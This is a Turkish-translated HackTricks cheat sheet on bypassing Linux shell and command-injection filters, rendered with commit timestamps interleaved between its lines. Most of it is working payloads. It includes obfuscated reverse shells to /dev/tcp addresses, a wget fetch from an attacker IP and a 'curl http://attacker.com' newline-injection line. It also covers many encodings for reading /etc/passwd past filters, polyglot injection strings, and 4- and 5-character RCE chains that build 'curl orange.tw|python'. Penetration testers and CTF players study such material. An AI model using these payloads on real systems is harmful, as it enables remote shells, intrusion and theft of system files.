2024-03-17 16:37:08 +00:00
# Linux Kı sı tlamaları nı Atlatma
2022-04-28 16:01:33 +00:00
2024-07-18 17:54:59 +00:00
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayı n:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Eğitimi AWS Kı rmı zı Takı m Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCP Hacking'i öğrenin ve uygulayı n: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Eğitimi GCP Kı rmı zı Takı m Uzmanı (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 17:54:59 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-18 17:54:59 +00:00
< summary > HackTricks'i Destekleyin< / summary >
2023-12-30 20:49:49 +00:00
2024-07-18 17:54:59 +00:00
* [**Abonelik planları nı ** ](https://github.com/sponsors/carlospolop ) kontrol edin!
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) katı lı n veya [**telegram grubuna** ](https://t.me/peass ) katı lı n veya bizi **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )** takip edin.**
* **Hacking püf noktaları nı paylaşarak PR'ler göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-18 17:54:59 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-03-29 21:18:23 +00:00
< figure > < img src = "../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-07-18 17:54:59 +00:00
Dünyanı n en gelişmiş topluluk araçları tarafı ndan desteklenen **iş akı şları nı kolayca oluşturun ve otomatikleştirin** için [**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks )'i kullanı n.\
2024-02-10 18:14:16 +00:00
Bugün Erişim Alı n:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2024-03-17 16:37:08 +00:00
## Yaygı n Kı sı tlamaları Atlatma
2021-02-17 12:02:24 +00:00
2024-02-10 18:14:16 +00:00
### Ters Kabuk
2021-02-17 12:02:24 +00:00
```bash
2021-02-16 22:44:45 +00:00
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
2021-02-16 23:15:57 +00:00
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>& 1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
2023-05-15 07:32:59 +00:00
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
2021-02-16 22:44:45 +00:00
```
2024-07-18 17:54:59 +00:00
### Kı sa Rev shell
2021-03-30 00:10:09 +00:00
```bash
2021-03-30 08:00:11 +00:00
#Trick from Dikline
2021-03-30 00:10:09 +00:00
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >& 0
```
2024-07-18 17:54:59 +00:00
### Yolları Geçme ve yasaklı kelimeler
2021-02-17 12:02:24 +00:00
```bash
2021-02-16 22:44:45 +00:00
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami
# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
2022-11-27 17:38:19 +00:00
echo * #List current files and folders with echo and wildcard
2021-02-16 22:44:45 +00:00
# [chars]
/usr/bin/n[c] # /usr/bin/nc
2022-10-02 22:00:14 +00:00
# Quotes
2021-02-16 22:44:45 +00:00
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
2022-10-02 22:00:14 +00:00
#Backslashes
\u\n\a\m\e \-\a # uname -a
2021-04-12 09:10:24 +00:00
/\b\i\n/////s\h
2022-10-02 22:00:14 +00:00
# $@
who$@ami #whoami
# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<< "WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<< 'imaohw') #whoami
bash<<< $(base64 -d<< < Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw ==) #base64
2021-04-20 07:42:08 +00:00
# Execution through $0
2021-04-12 09:10:24 +00:00
echo whoami|$0
2021-02-16 22:44:45 +00:00
# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
2020-07-15 15:43:14 +00:00
```
2024-02-10 18:14:16 +00:00
### Yasaklı boşlukları atlayı n
2021-02-17 12:02:24 +00:00
```bash
2021-02-16 22:44:45 +00:00
# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test
2020-07-15 15:43:14 +00:00
2022-05-01 12:41:36 +00:00
# IFS - Internal field separator, change " " for any other character ("]" in this case)
2021-02-16 22:44:45 +00:00
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd
2020-07-15 15:43:14 +00:00
2021-02-16 22:44:45 +00:00
# Put the command line in a variable and then execute it
2020-07-15 15:43:14 +00:00
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
2021-02-16 22:44:45 +00:00
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat< < < cat , / etc / passwd ` # Using cat twice
# Other way, just change each space for ${IFS}
2020-07-15 15:43:14 +00:00
echo${IFS}test
2021-02-16 22:44:45 +00:00
# Using hex format
2020-07-15 15:43:14 +00:00
X=$'cat\x20/etc/passwd'&& $X
2022-10-02 21:44:11 +00:00
# Using tabs
echo "ls\x09-l" | bash
2021-02-16 22:44:45 +00:00
# New lines
2020-07-15 15:43:14 +00:00
p\
i\
n\
2021-02-23 21:39:56 +00:00
g # These 4 lines will equal to ping
2020-07-15 15:43:14 +00:00
2022-05-01 12:41:36 +00:00
# Undefined variables and !
2021-02-16 22:44:45 +00:00
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
2020-07-15 15:43:14 +00:00
```
2024-03-17 16:37:08 +00:00
### Ters eğik çizgi ve eğik çizgiyi atlatma
2021-04-12 09:10:24 +00:00
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
2024-07-18 17:54:59 +00:00
### Boruları atlayı n
2022-10-02 22:00:14 +00:00
```bash
bash< < < $(base64 -d< < < Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw = = )
```
2024-03-17 16:37:08 +00:00
### Onaltı lı k kodlama ile atlatma
2021-04-12 09:10:24 +00:00
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps < (echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
2024-02-10 18:14:16 +00:00
### IP'leri Atlatma
2021-02-17 12:02:24 +00:00
```bash
2021-02-16 22:44:45 +00:00
# Decimal IPs
2020-07-15 15:43:14 +00:00
127.0.0.1 == 2130706433
```
2024-02-10 18:14:16 +00:00
### Zaman tabanlı veri sı zdı rma
2021-04-12 09:10:24 +00:00
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
2024-03-29 21:18:23 +00:00
### Ortam Değişkenlerinden Karakter Alma
2024-02-10 18:14:16 +00:00
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
2024-03-17 16:37:08 +00:00
### DNS verisi dı şa aktarma
2021-04-12 09:10:24 +00:00
2024-02-10 18:14:16 +00:00
Örneğin **burpcollab** veya [**pingb** ](http://pingb.in ) kullanabilirsiniz.
2022-07-01 18:11:43 +00:00
2024-07-18 17:54:59 +00:00
### Dahili Komutlar
2022-07-01 18:11:43 +00:00
2024-07-18 17:54:59 +00:00
Dı ş işlevleri yürütemez ve yalnı zca bir **sı nı rlı dahili komut kümesine erişiminiz varsa RCE elde etmek için bazı kullanı şlı hileler vardı r** . Genellikle **tüm dahili komutları kullanamayacaksı nı z** , bu yüzden hapishaneden kaçmak için tüm seçeneklerinizi bilmelisiniz. Fikir [**devploit** ](https://twitter.com/devploit )'ten alı nmı ştı r.\
Öncelikle tüm [**kabuk dahili komutları nı ** ](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html )** kontrol edin.** Sonra işte size bazı **tavsiyeler** :
2022-07-01 18:11:43 +00:00
```bash
# Get list of builtins
declare builtins
# In these cases PATH won't be set, so you can try to set it
2022-07-01 18:22:24 +00:00
PATH="/bin" /bin/ls
2022-07-01 18:11:43 +00:00
export PATH="/bin"
declare PATH="/bin"
2022-07-01 18:22:24 +00:00
SHELL=/bin/bash
2022-07-01 18:11:43 +00:00
# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa
# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords
# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}
2022-11-05 10:10:42 +00:00
# Read file with read
while read -r line; do echo $line; done < /etc/passwd
2022-07-01 18:11:43 +00:00
# Get env variables
declare
# Get history
history
declare history
declare historywords
2023-04-05 23:11:20 +00:00
# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
2022-07-01 18:11:43 +00:00
```
2024-03-17 16:37:08 +00:00
### Çok dilli komut enjeksiyonu
2021-04-12 09:10:24 +00:00
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
2024-02-10 18:14:16 +00:00
### Potansiyel regexleri atlayı n
2022-06-23 12:12:25 +00:00
```bash
2023-01-02 01:09:24 +00:00
# A regex that only allow letters and numbers might be vulnerable to new line characters
2022-06-23 12:12:25 +00:00
1%0a`curl http://attacker.com`
```
2022-10-02 22:00:14 +00:00
### Bashfuscator
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
2024-03-17 16:37:08 +00:00
### 5 karakter ile Uzaktan Kod Çalı ştı rma (RCE)
2022-06-23 12:12:25 +00:00
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
## Finally execute the file "g"
http://host/?cmd=sh g
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*
# Another curiosity if you can read files of the current folder
ln /f*
2024-02-10 18:14:16 +00:00
## If there is a file /flag.txt that will create a hard link
2022-06-23 12:12:25 +00:00
## to it in the current folder
```
2024-03-17 16:37:08 +00:00
### 4 karakter ile Uzaktan Kod Çalı ştı rma (RCE)
2022-06-23 12:12:25 +00:00
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'
# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'
# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'
# got shell
'sh x'
'sh g'
```
2024-07-18 17:54:59 +00:00
## Salt-Okunur/Noexec/Distroless Atlatma
2022-06-23 12:12:25 +00:00
2024-07-18 17:54:59 +00:00
Eğer **salt-okunur ve noexec korumaları ** olan bir dosya sistemi içinde veya hatta bir distroless konteynerdeyseniz, hala **keyfi ikili dosyaları , hatta bir kabuğu çalı ştı rmanı n yolları ** vardı r:
2022-05-07 13:38:40 +00:00
2023-08-23 12:36:01 +00:00
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless ](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ )
2022-05-07 13:38:40 +00:00
{% endcontent-ref %}
2024-07-18 17:54:59 +00:00
## Chroot ve Diğer Hapisaneler Atlatma
2023-04-02 23:36:35 +00:00
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md ](../privilege-escalation/escaping-from-limited-bash.md )
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
## Referanslar ve Daha Fazlası
2020-07-15 15:43:14 +00:00
2022-06-06 22:28:05 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits )
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet ](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet )
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0 ](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0 )
* [https://www.secjuice.com/web-application-firewall-waf-evasion/ ](https://www.secjuice.com/web-application-firewall-waf-evasion/ )
2021-02-17 12:02:24 +00:00
2024-03-29 21:18:23 +00:00
< figure > < img src = "../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2021-02-17 12:02:24 +00:00
2023-01-01 16:19:07 +00:00
\
2024-07-18 17:54:59 +00:00
[**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks )'i kullanarak dünyanı n **en gelişmiş** topluluk araçları tarafı ndan desteklenen **iş akı şları nı kolayca oluşturun ve otomatikleştirin** .\
Bugün Erişim Edinin:
2020-07-15 15:43:14 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
2024-07-18 17:54:59 +00:00
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayı n:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Eğitim AWS Kı rmı zı Takı m Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCP Hacking'i öğrenin ve uygulayı n: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Eğitim GCP Kı rmı zı Takı m Uzmanı (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 17:54:59 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-18 17:54:59 +00:00
< summary > HackTricks'i Destekleyin< / summary >
2023-12-30 20:49:49 +00:00
2024-07-18 17:54:59 +00:00
* [**Abonelik planları nı ** ](https://github.com/sponsors/carlospolop ) kontrol edin!
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) katı lı n veya [**telegram grubuna** ](https://t.me/peass ) katı lı n veya bizi **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**'da takip edin.**
* **Hacking püf noktaları nı paylaşarak PR'ler göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-18 17:54:59 +00:00
{% endhint %}